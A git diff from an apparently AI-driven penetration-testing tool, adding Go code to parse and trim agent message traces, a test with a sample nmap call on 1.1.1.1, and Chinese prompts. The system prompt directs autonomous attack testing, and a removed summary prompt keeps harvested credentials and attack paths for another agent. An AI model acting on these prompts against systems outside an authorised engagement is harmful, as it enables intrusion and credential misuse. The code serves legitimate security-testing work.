github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e h1:MRM5ITcdelLK2j1vwZ3Je0FKVCfqOLp5zO6trqMLYs0=
|
||||
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e/go.mod h1:XV66xRDqSt+GTGFMVlhk3ULuV0y9ZmzeVGR4mloJI3M=
|
||||
github.com/slongfield/pyfmt v0.0.0-20220222012616-ea85ff4c361f h1:Z2cODYsUxQPofhpYRMQVwWz4yUVpHF+vPi+eUdruUYI=
|
||||
github.com/slongfield/pyfmt v0.0.0-20220222012616-ea85ff4c361f/go.mod h1:JqzWyvTuI2X4+9wOHmKSQCYxybB/8j6Ko43qVmXDuZg=
|
||||
github.com/smarty/assertions v1.16.0 h1:EvHNkdRA4QHMrn75NZSoUQ/mAUXAYWfatfB01yTCzfY=
|
||||
@@ -191,6 +204,26 @@ github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zI
|
||||
github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4=
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A=
|
||||
go.opentelemetry.io/otel v1.34.0 h1:zRLXxLCgL1WyKsPVrgbSdMN4c0FMkDAskSTQP+0hdUY=
|
||||
go.opentelemetry.io/otel v1.34.0/go.mod h1:OWFPOQ+h4G8xpyjgqo4SxJYdDQ/qmRH+wivy7zzx9oI=
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.34.0 h1:OeNbIYk/2C15ckl7glBlOBp5+WlYsOElzTNmiPW/x60=
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.34.0/go.mod h1:7Bept48yIeqxP2OZ9/AqIpYS94h2or0aB4FypJTc8ZM=
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.34.0 h1:BEj3SPM81McUZHYjRS5pEgNgnmzGJ5tRpU5krWnV8Bs=
|
||||
go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.34.0/go.mod h1:9cKLGBDzI/F3NoHLQGm4ZrYdIHsvGt6ej6hUowxY0J4=
|
||||
go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.34.0 h1:jBpDk4HAUsrnVO1FsfCfCOTEc/MkInJmvfCHYLFiT80=
|
||||
go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.34.0/go.mod h1:H9LUIM1daaeZaz91vZcfeM0fejXPmgCYE8ZhzqfJuiU=
|
||||
go.opentelemetry.io/otel/metric v1.34.0 h1:+eTR3U0MyfWjRDhmFMxe2SsW64QrZ84AOhvqS7Y+PoQ=
|
||||
go.opentelemetry.io/otel/metric v1.34.0/go.mod h1:CEDrp0fy2D0MvkXE+dPV7cMi8tWZwX3dmaIhwPOaqHE=
|
||||
go.opentelemetry.io/otel/sdk v1.34.0 h1:95zS4k/2GOy069d321O8jWgYsW3MzVV+KuSPKp7Wr1A=
|
||||
go.opentelemetry.io/otel/sdk v1.34.0/go.mod h1:0e/pNiaMAqaykJGKbi+tSjWfNNHMTxoC9qANsCzbyxU=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.31.0 h1:i9hxxLJF/9kkvfHppyLL55aW7iIJz4JjxTeYusH7zMc=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.31.0/go.mod h1:CRInTMVvNhUKgSAMbKyTMxqOBC0zgyxzW55lZzX43Y8=
|
||||
go.opentelemetry.io/otel/trace v1.34.0 h1:+ouXS2V8Rd4hp4580a8q23bg0azF2nI8cqLYnC8mh/k=
|
||||
go.opentelemetry.io/otel/trace v1.34.0/go.mod h1:Svm7lSjQD7kG7KJ/MUHPVXSDGz2OX4h0M2jHBhmSfRE=
|
||||
go.opentelemetry.io/proto/otlp v1.5.0 h1:xJvq7gMzB31/d406fB8U5CBdyQGw4P399D1aQWU/3i4=
|
||||
go.opentelemetry.io/proto/otlp v1.5.0/go.mod h1:keN8WnHxOy8PG0rQZjJJ5A2ebUoafqWp0eVQ4yIXvJ4=
|
||||
go.uber.org/goleak v1.2.0 h1:xqgm/S+aQvhWFTtR0XK3Jvg7z8kGV8P4X14IzwN3Eqk=
|
||||
go.uber.org/goleak v1.2.0/go.mod h1:XJYK+MuIchqpmGmUSAzotztawfKvYLUIgg7guXrwVUo=
|
||||
go.uber.org/mock v0.4.0 h1:VcM4ZOtdbR4f6VXfiOpwpVJDL6lCReaZ6mw31wqh7KU=
|
||||
@@ -209,6 +242,8 @@ golang.org/x/crypto v0.39.0 h1:SHs+kF4LP+f+p14esP5jAoDpHU8Gu/v9lFRK6IT5imM=
|
||||
golang.org/x/crypto v0.39.0/go.mod h1:L+Xg3Wf6HoL4Bn4238Z6ft6KfEpN0tJGo53AAPC632U=
|
||||
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394 h1:nDVHiLt8aIbd/VzvPWN6kSOPE7+F/fNFDSXLVYkE/Iw=
|
||||
golang.org/x/exp v0.0.0-20250305212735-054e65f0b394/go.mod h1:sIifuuw/Yco/y6yb6+bDNfyeQ/MdPUy/hKEMYQV17cM=
|
||||
golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8 h1:hVwzHzIUGRjiF7EcUjqNxk3NCfkPxbDKRdnNE1Rpg0U=
|
||||
golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -216,8 +251,8 @@ golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.24.0 h1:1PcaxkF854Fu3+lvBIx5SYn9wRlBzzcnHZSiaFFAb0w=
|
||||
golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8=
|
||||
golang.org/x/net v0.35.0 h1:T5GQRQb2y08kTAByq9L4/bz8cipCdA8FbRTXewonqY8=
|
||||
golang.org/x/net v0.35.0/go.mod h1:EglIi67kWsHKlRzzVMUD93VMSWGFOMSZgxFjparz1Qk=
|
||||
golang.org/x/oauth2 v0.30.0 h1:dnDm7JmhM45NNpd8FDDeLhK6FwqbOf4MLCM9zb1BOHI=
|
||||
golang.org/x/oauth2 v0.30.0/go.mod h1:B++QgG3ZKulg6sRPGD/mqlHQs5rB3Ml9erfeDY7xKlU=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
@@ -251,9 +286,14 @@ golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8T
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
|
||||
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
google.golang.org/genproto/googleapis/api v0.0.0-20250115164207-1a7da9e5054f h1:gap6+3Gk41EItBuyi4XX/bp4oqJ3UwuIMl25yGinuAA=
|
||||
google.golang.org/genproto/googleapis/api v0.0.0-20250115164207-1a7da9e5054f/go.mod h1:Ic02D47M+zbarjYYUlK57y316f2MoN0gjAwI3f2S95o=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f h1:OxYkA3wjPsZyBylwymxSHa7ViiW1Sml4ToBrncvFehI=
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f/go.mod h1:+2Yz8+CLJbIfL9z73EW45avw8Lmge3xVElCP9zEKi50=
|
||||
google.golang.org/grpc v1.69.4 h1:MF5TftSMkd8GLw/m0KM6V8CMOCY6NZ1NQDPGFgbTt4A=
|
||||
google.golang.org/grpc v1.69.4/go.mod h1:vyjdE6jLBI76dgpDojsFGNaHlxdjXN9ghpnd2o7JGZ4=
|
||||
google.golang.org/protobuf v1.36.3 h1:82DV7MYdb8anAVi3qge1wSnMDrnKK7ebr+I0hHRN1BU=
|
||||
google.golang.org/protobuf v1.36.3/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 832 KiB After Width: | Height: | Size: 726 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 182 KiB After Width: | Height: | Size: 178 KiB |
+48
-1007
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,167 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ParseTraceMessages 解析落库的 last_react_input(OpenAI 风格 messages JSON 数组)。
|
||||
func ParseTraceMessages(traceInputJSON string) ([]ChatMessage, error) {
|
||||
traceInputJSON = strings.TrimSpace(traceInputJSON)
|
||||
if traceInputJSON == "" {
|
||||
return nil, nil
|
||||
}
|
||||
var raw []map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(traceInputJSON), &raw); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]ChatMessage, 0, len(raw))
|
||||
for _, msgMap := range raw {
|
||||
msg := ChatMessage{}
|
||||
role, _ := msgMap["role"].(string)
|
||||
if role == "" {
|
||||
continue
|
||||
}
|
||||
msg.Role = role
|
||||
if content, ok := msgMap["content"].(string); ok {
|
||||
msg.Content = content
|
||||
}
|
||||
if rc, ok := msgMap["reasoning_content"].(string); ok && strings.TrimSpace(rc) != "" {
|
||||
msg.ReasoningContent = rc
|
||||
}
|
||||
if toolCallsRaw, ok := msgMap["tool_calls"]; ok && toolCallsRaw != nil {
|
||||
if toolCallsArray, ok := toolCallsRaw.([]interface{}); ok {
|
||||
for _, tcRaw := range toolCallsArray {
|
||||
tcMap, ok := tcRaw.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
toolCall := ToolCall{}
|
||||
if id, ok := tcMap["id"].(string); ok {
|
||||
toolCall.ID = id
|
||||
}
|
||||
if toolType, ok := tcMap["type"].(string); ok {
|
||||
toolCall.Type = toolType
|
||||
}
|
||||
if funcMap, ok := tcMap["function"].(map[string]interface{}); ok {
|
||||
toolCall.Function = FunctionCall{}
|
||||
if name, ok := funcMap["name"].(string); ok {
|
||||
toolCall.Function.Name = name
|
||||
}
|
||||
if argsRaw, ok := funcMap["arguments"]; ok {
|
||||
if argsStr, ok := argsRaw.(string); ok {
|
||||
var argsMap map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(argsStr), &argsMap); err == nil {
|
||||
toolCall.Function.Arguments = argsMap
|
||||
}
|
||||
} else if argsMap, ok := argsRaw.(map[string]interface{}); ok {
|
||||
toolCall.Function.Arguments = argsMap
|
||||
}
|
||||
}
|
||||
}
|
||||
if toolCall.ID != "" {
|
||||
msg.ToolCalls = append(msg.ToolCalls, toolCall)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if toolCallID, ok := msgMap["tool_call_id"].(string); ok {
|
||||
msg.ToolCallID = toolCallID
|
||||
}
|
||||
if tn, ok := msgMap["tool_name"].(string); ok && strings.TrimSpace(tn) != "" {
|
||||
msg.ToolName = strings.TrimSpace(tn)
|
||||
} else if tn, ok := msgMap["name"].(string); ok && strings.TrimSpace(tn) != "" && strings.EqualFold(msg.Role, "tool") {
|
||||
msg.ToolName = strings.TrimSpace(tn)
|
||||
}
|
||||
out = append(out, msg)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// ExtractLastUserTurnMessages 仅保留最后一次 user 提问起的消息(不含更早的用户轮次;跳过 system)。
|
||||
// 与「继续对话」续跑所用轨迹范围一致:当前任务轮次,而非整段多轮对话历史。
|
||||
func ExtractLastUserTurnMessages(msgs []ChatMessage) []ChatMessage {
|
||||
if len(msgs) == 0 {
|
||||
return msgs
|
||||
}
|
||||
lastUser := -1
|
||||
for i, m := range msgs {
|
||||
if strings.EqualFold(m.Role, "user") {
|
||||
lastUser = i
|
||||
}
|
||||
}
|
||||
if lastUser < 0 {
|
||||
return msgs
|
||||
}
|
||||
trimmed := msgs[lastUser:]
|
||||
out := make([]ChatMessage, 0, len(trimmed))
|
||||
for _, m := range trimmed {
|
||||
if strings.EqualFold(m.Role, "system") {
|
||||
continue
|
||||
}
|
||||
out = append(out, m)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ExtractLastUserTurnTraceJSON 在 JSON 轨迹上裁剪为最后一次 user 起的片段(供落库格式直接处理)。
|
||||
func ExtractLastUserTurnTraceJSON(traceInputJSON string) string {
|
||||
traceInputJSON = strings.TrimSpace(traceInputJSON)
|
||||
if traceInputJSON == "" {
|
||||
return traceInputJSON
|
||||
}
|
||||
var arr []map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(traceInputJSON), &arr); err != nil {
|
||||
return traceInputJSON
|
||||
}
|
||||
lastUser := -1
|
||||
for i, m := range arr {
|
||||
if r, _ := m["role"].(string); strings.EqualFold(r, "user") {
|
||||
lastUser = i
|
||||
}
|
||||
}
|
||||
if lastUser <= 0 {
|
||||
return traceInputJSON
|
||||
}
|
||||
trimmed := arr[lastUser:]
|
||||
b, err := json.Marshal(trimmed)
|
||||
if err != nil {
|
||||
return traceInputJSON
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// MergeAssistantTraceOutput 将 last_react_output 合并进轨迹最后一条 assistant(与 loadHistoryFromAgentTrace 一致)。
|
||||
func MergeAssistantTraceOutput(msgs []ChatMessage, assistantOut string) []ChatMessage {
|
||||
assistantOut = strings.TrimSpace(assistantOut)
|
||||
if assistantOut == "" || len(msgs) == 0 {
|
||||
return msgs
|
||||
}
|
||||
out := append([]ChatMessage(nil), msgs...)
|
||||
last := &out[len(out)-1]
|
||||
if strings.EqualFold(last.Role, "assistant") && len(last.ToolCalls) == 0 {
|
||||
last.Content = assistantOut
|
||||
return out
|
||||
}
|
||||
out = append(out, ChatMessage{
|
||||
Role: "assistant",
|
||||
Content: assistantOut,
|
||||
})
|
||||
return out
|
||||
}
|
||||
|
||||
// MessagesToTraceJSON 将消息带序列化为 JSON(跳过 system)。
|
||||
func MessagesToTraceJSON(msgs []ChatMessage) (string, error) {
|
||||
filtered := make([]ChatMessage, 0, len(msgs))
|
||||
for _, m := range msgs {
|
||||
if strings.EqualFold(m.Role, "system") {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, m)
|
||||
}
|
||||
b, err := json.Marshal(filtered)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(b), nil
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestExtractLastUserTurnTraceJSON(t *testing.T) {
|
||||
raw := []map[string]interface{}{
|
||||
{"role": "user", "content": "old question"},
|
||||
{"role": "assistant", "content": "old answer"},
|
||||
{"role": "user", "content": "new target 1.1.1.1"},
|
||||
{"role": "assistant", "tool_calls": []interface{}{map[string]interface{}{
|
||||
"id": "c1", "type": "function",
|
||||
"function": map[string]interface{}{"name": "nmap", "arguments": "{}"},
|
||||
}}},
|
||||
{"role": "tool", "tool_call_id": "c1", "content": "open ports"},
|
||||
}
|
||||
b, _ := json.Marshal(raw)
|
||||
out := ExtractLastUserTurnTraceJSON(string(b))
|
||||
var trimmed []map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(out), &trimmed); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(trimmed) != 3 {
|
||||
t.Fatalf("expected 3 messages, got %d", len(trimmed))
|
||||
}
|
||||
if trimmed[0]["content"] != "new target 1.1.1.1" {
|
||||
t.Fatalf("unexpected first message: %v", trimmed[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractLastUserTurnMessagesSkipsSystem(t *testing.T) {
|
||||
msgs := []ChatMessage{
|
||||
{Role: "system", Content: "sys"},
|
||||
{Role: "user", Content: "q"},
|
||||
{Role: "assistant", Content: "a"},
|
||||
}
|
||||
out := ExtractLastUserTurnMessages(msgs)
|
||||
if len(out) != 2 {
|
||||
t.Fatalf("expected 2, got %d", len(out))
|
||||
}
|
||||
if out[0].Role != "user" {
|
||||
t.Fatal("expected user first")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMergeAssistantTraceOutput(t *testing.T) {
|
||||
msgs := []ChatMessage{
|
||||
{Role: "user", Content: "q"},
|
||||
{Role: "assistant", Content: "draft"},
|
||||
}
|
||||
out := MergeAssistantTraceOutput(msgs, "final summary")
|
||||
if out[len(out)-1].Content != "final summary" {
|
||||
t.Fatalf("expected merged output, got %q", out[len(out)-1].Content)
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,10 @@
|
||||
package agent
|
||||
|
||||
import "cyberstrike-ai/internal/mcp/builtin"
|
||||
import (
|
||||
"cyberstrike-ai/internal/project"
|
||||
)
|
||||
|
||||
// DefaultSingleAgentSystemPrompt 单代理(ReAct / MCP)内置系统提示;可通过 agent.system_prompt_path 覆盖为文件。
|
||||
// DefaultSingleAgentSystemPrompt 单代理(Eino ADK / MCP)内置系统提示;可通过 agent.system_prompt_path 覆盖为文件。
|
||||
func DefaultSingleAgentSystemPrompt() string {
|
||||
return `你是CyberStrikeAI,是一个专业的网络安全渗透测试专家。你可以使用各种安全工具进行自主渗透测试。分析目标并选择最佳测试策略。
|
||||
|
||||
@@ -105,15 +107,11 @@ func DefaultSingleAgentSystemPrompt() string {
|
||||
- 若最近一步得到 404/空结果/无效响应,不得直接结束;至少再进行一次“同目标不同策略”的验证(如变更路径、参数、请求方法、上下文来源)。
|
||||
- 避免无效空转:同一工具+同类参数连续失败 3 次后,必须切换策略(改工具、改入口、改假设)并说明切换原因。
|
||||
|
||||
## 漏洞记录
|
||||
|
||||
发现有效漏洞时,必须使用 ` + builtin.ToolRecordVulnerability + ` 记录:标题、描述、严重程度、类型、目标、证明(POC)、影响、修复建议。
|
||||
|
||||
严重程度:critical / high / medium / low / info。证明须含足够证据(请求响应、截图、命令输出等)。记录后可在授权范围内继续测试。
|
||||
` + project.FactRecordingBlackboardSection(false) + `
|
||||
|
||||
## 技能库(Skills)与知识库
|
||||
|
||||
- 技能包位于服务器 skills/ 目录(各子目录 SKILL.md,遵循 agentskills.io);知识库用于向量检索片段,Skills 为可执行工作流指令。
|
||||
- 单代理本会话通过 MCP 使用知识库与漏洞记录等;Skills 的渐进式加载在「多代理 / Eino DeepAgent」中由内置 skill 工具完成(需在配置中启用 multi_agent.eino_skills)。
|
||||
- 若当前无 skill 工具,需要完整 Skill 工作流时请使用多代理模式或切换为 Eino 编排会话(亦可选 Eino ADK 单代理路径 /api/eino-agent)。`
|
||||
- 本会话通过 MCP 使用知识库与漏洞记录等。Skills 由 Eino ADK skill 工具按需加载(配置 multi_agent.eino_skills;单代理与多代理均可,未启用时无 skill 工具)。
|
||||
- 需要完整 Skill 工作流但当前无 skill 工具时,请确认已启用 multi_agent.eino_skills,或改用 Deep / Supervisor 等多代理编排(/api/multi-agent/stream)。`
|
||||
}
|
||||
|
||||
@@ -1,491 +0,0 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/openai"
|
||||
|
||||
"github.com/pkoukk/tiktoken-go"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
const (
|
||||
// DefaultMinRecentMessage 压缩历史消息时保留的最近消息数量,确保最近的对话上下文不被压缩
|
||||
DefaultMinRecentMessage = 5
|
||||
// defaultChunkSize 压缩历史消息时每次处理的消息块大小,将旧消息分成多个块进行摘要
|
||||
defaultChunkSize = 10
|
||||
// defaultMaxImages 压缩时最多保留的图片数量,超过此数量的图片会被移除以节省上下文空间
|
||||
defaultMaxImages = 3
|
||||
// defaultSummaryTimeout 生成消息摘要时的超时时间
|
||||
defaultSummaryTimeout = 10 * time.Minute
|
||||
|
||||
summaryPromptTemplate = `你是一名负责为安全代理执行上下文压缩的助手,任务是在保持所有关键渗透信息完整的前提下压缩扫描数据。
|
||||
|
||||
必须保留的关键信息:
|
||||
- 已发现的漏洞与潜在攻击路径
|
||||
- 扫描结果与工具输出(可压缩,但需保留核心发现)
|
||||
- 获取到的访问凭证、令牌或认证细节
|
||||
- 系统架构洞察与潜在薄弱点
|
||||
- 当前评估进展
|
||||
- 失败尝试与死路(避免重复劳动)
|
||||
- 关于测试策略的所有决策记录
|
||||
|
||||
压缩指南:
|
||||
- 保留精确技术细节(URL、路径、参数、Payload 等)
|
||||
- 将冗长的工具输出压缩成概述,但保留关键发现
|
||||
- 记录版本号与识别出的技术/组件信息
|
||||
- 保留可能暗示漏洞的原始报错
|
||||
- 将重复或相似发现整合成一条带有共性说明的结论
|
||||
|
||||
请牢记:另一位安全代理会依赖这份摘要继续测试,他必须在不损失任何作战上下文的情况下无缝接手。
|
||||
|
||||
需要压缩的对话片段:
|
||||
%s
|
||||
|
||||
请给出技术精准且简明扼要的摘要,覆盖全部与安全评估相关的上下文。`
|
||||
)
|
||||
|
||||
// MemoryCompressor 负责在调用LLM前压缩历史上下文,以避免Token爆炸。
|
||||
type MemoryCompressor struct {
|
||||
maxTotalTokens int
|
||||
minRecentMessage int
|
||||
maxImages int
|
||||
chunkSize int
|
||||
summaryModel string
|
||||
timeout time.Duration
|
||||
|
||||
tokenCounter TokenCounter
|
||||
completionClient CompletionClient
|
||||
logger *zap.Logger
|
||||
}
|
||||
|
||||
// MemoryCompressorConfig 用于初始化 MemoryCompressor。
|
||||
type MemoryCompressorConfig struct {
|
||||
MaxTotalTokens int
|
||||
MinRecentMessage int
|
||||
MaxImages int
|
||||
ChunkSize int
|
||||
SummaryModel string
|
||||
Timeout time.Duration
|
||||
TokenCounter TokenCounter
|
||||
CompletionClient CompletionClient
|
||||
Logger *zap.Logger
|
||||
|
||||
// 当 CompletionClient 为空时,可以通过 OpenAIConfig + HTTPClient 构造默认的客户端。
|
||||
OpenAIConfig *config.OpenAIConfig
|
||||
HTTPClient *http.Client
|
||||
}
|
||||
|
||||
// NewMemoryCompressor 创建新的 MemoryCompressor。
|
||||
func NewMemoryCompressor(cfg MemoryCompressorConfig) (*MemoryCompressor, error) {
|
||||
if cfg.Logger == nil {
|
||||
cfg.Logger = zap.NewNop()
|
||||
}
|
||||
|
||||
// 如果没有显式配置 MaxTotalTokens,则后续逻辑会根据模型的最大上下文长度进行控制;
|
||||
// 优先推荐在 config.yaml 的 openai.max_total_tokens 中统一配置。
|
||||
if cfg.MinRecentMessage <= 0 {
|
||||
cfg.MinRecentMessage = DefaultMinRecentMessage
|
||||
}
|
||||
if cfg.MaxImages <= 0 {
|
||||
cfg.MaxImages = defaultMaxImages
|
||||
}
|
||||
if cfg.ChunkSize <= 0 {
|
||||
cfg.ChunkSize = defaultChunkSize
|
||||
}
|
||||
if cfg.Timeout <= 0 {
|
||||
cfg.Timeout = defaultSummaryTimeout
|
||||
}
|
||||
if cfg.SummaryModel == "" && cfg.OpenAIConfig != nil && cfg.OpenAIConfig.Model != "" {
|
||||
cfg.SummaryModel = cfg.OpenAIConfig.Model
|
||||
}
|
||||
if cfg.SummaryModel == "" {
|
||||
return nil, errors.New("summary model is required (either SummaryModel or OpenAIConfig.Model must be set)")
|
||||
}
|
||||
if cfg.TokenCounter == nil {
|
||||
cfg.TokenCounter = NewTikTokenCounter()
|
||||
}
|
||||
|
||||
if cfg.CompletionClient == nil {
|
||||
if cfg.OpenAIConfig == nil {
|
||||
return nil, errors.New("memory compressor requires either CompletionClient or OpenAIConfig")
|
||||
}
|
||||
if cfg.HTTPClient == nil {
|
||||
cfg.HTTPClient = &http.Client{
|
||||
Timeout: 5 * time.Minute,
|
||||
}
|
||||
}
|
||||
cfg.CompletionClient = NewOpenAICompletionClient(cfg.OpenAIConfig, cfg.HTTPClient, cfg.Logger)
|
||||
}
|
||||
|
||||
return &MemoryCompressor{
|
||||
maxTotalTokens: cfg.MaxTotalTokens,
|
||||
minRecentMessage: cfg.MinRecentMessage,
|
||||
maxImages: cfg.MaxImages,
|
||||
chunkSize: cfg.ChunkSize,
|
||||
summaryModel: cfg.SummaryModel,
|
||||
timeout: cfg.Timeout,
|
||||
tokenCounter: cfg.TokenCounter,
|
||||
completionClient: cfg.CompletionClient,
|
||||
logger: cfg.Logger,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// UpdateConfig 更新OpenAI配置(用于动态更新模型配置)
|
||||
func (mc *MemoryCompressor) UpdateConfig(cfg *config.OpenAIConfig) {
|
||||
if cfg == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// 更新summaryModel字段
|
||||
if cfg.Model != "" {
|
||||
mc.summaryModel = cfg.Model
|
||||
}
|
||||
|
||||
// 更新completionClient中的配置(如果是OpenAICompletionClient)
|
||||
if openAIClient, ok := mc.completionClient.(*OpenAICompletionClient); ok {
|
||||
openAIClient.UpdateConfig(cfg)
|
||||
mc.logger.Info("MemoryCompressor配置已更新",
|
||||
zap.String("model", cfg.Model),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// CompressHistory 根据 Token 限制压缩历史消息。reservedTokens 为预留给 tools 等非消息内容的 token 数,压缩时使用 (maxTotalTokens - reservedTokens) 作为消息上限。
|
||||
func (mc *MemoryCompressor) CompressHistory(ctx context.Context, messages []ChatMessage, reservedTokens int) ([]ChatMessage, bool, error) {
|
||||
if len(messages) == 0 {
|
||||
return messages, false, nil
|
||||
}
|
||||
|
||||
mc.handleImages(messages)
|
||||
|
||||
systemMsgs, regularMsgs := mc.splitMessages(messages)
|
||||
if len(regularMsgs) <= mc.minRecentMessage {
|
||||
return messages, false, nil
|
||||
}
|
||||
|
||||
effectiveMax := mc.maxTotalTokens
|
||||
if reservedTokens > 0 && reservedTokens < mc.maxTotalTokens {
|
||||
effectiveMax = mc.maxTotalTokens - reservedTokens
|
||||
}
|
||||
|
||||
totalTokens := mc.countTotalTokens(systemMsgs, regularMsgs)
|
||||
if totalTokens <= int(float64(effectiveMax)*0.9) {
|
||||
return messages, false, nil
|
||||
}
|
||||
|
||||
recentStart := len(regularMsgs) - mc.minRecentMessage
|
||||
recentStart = mc.adjustRecentStartForToolCalls(regularMsgs, recentStart)
|
||||
oldMsgs := regularMsgs[:recentStart]
|
||||
recentMsgs := regularMsgs[recentStart:]
|
||||
|
||||
mc.logger.Info("memory compression triggered",
|
||||
zap.Int("total_tokens", totalTokens),
|
||||
zap.Int("max_total_tokens", mc.maxTotalTokens),
|
||||
zap.Int("reserved_tokens", reservedTokens),
|
||||
